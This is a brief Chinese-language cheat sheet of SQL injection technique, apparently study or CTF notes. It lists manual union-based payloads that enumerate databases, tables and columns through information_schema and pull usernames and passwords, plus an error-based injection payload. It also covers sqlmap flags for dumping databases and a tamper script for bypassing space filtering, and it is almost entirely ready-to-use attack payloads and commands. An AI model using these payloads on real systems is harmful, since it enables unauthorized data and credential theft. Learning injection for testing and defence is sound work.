一,手工注入
爆库名
SELECT database()
爆表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名
select group_concat(column_name) from information_schema.columns where table_name=‘表名’
查表名里的字段
-1 union select 1,dwexiyvwwc from bbxwjqjtjo
group_concat(id,username,password) from bbxwjqjtjo(多个表名)
SQL常用函数
group_concat()
concat()
concat_ws()
database()
version()
char_length()
left( , )
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
报错注入
select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2)) as test from
get请求用-- +(空格)注释后面的内容, post请求时用#注释后面的内容。
二,mapmap注入
–dbs 查数据库
-D “” #指定数据库名
–tables列数据库表
-T “” #指定表名
–columns #列出字段
-C “” #指定字段
–dump列表中指定列的内容
–current-db #获取当前数据库名称
–sql-query 进行sql命令注入“sqlmap.py -r c:\1.txt --sql-query “(select count(*) from dvwa.users)>0””
当注入发生不可注入时,可能是过滤空格了,后面加–tamper=space2comment.py试试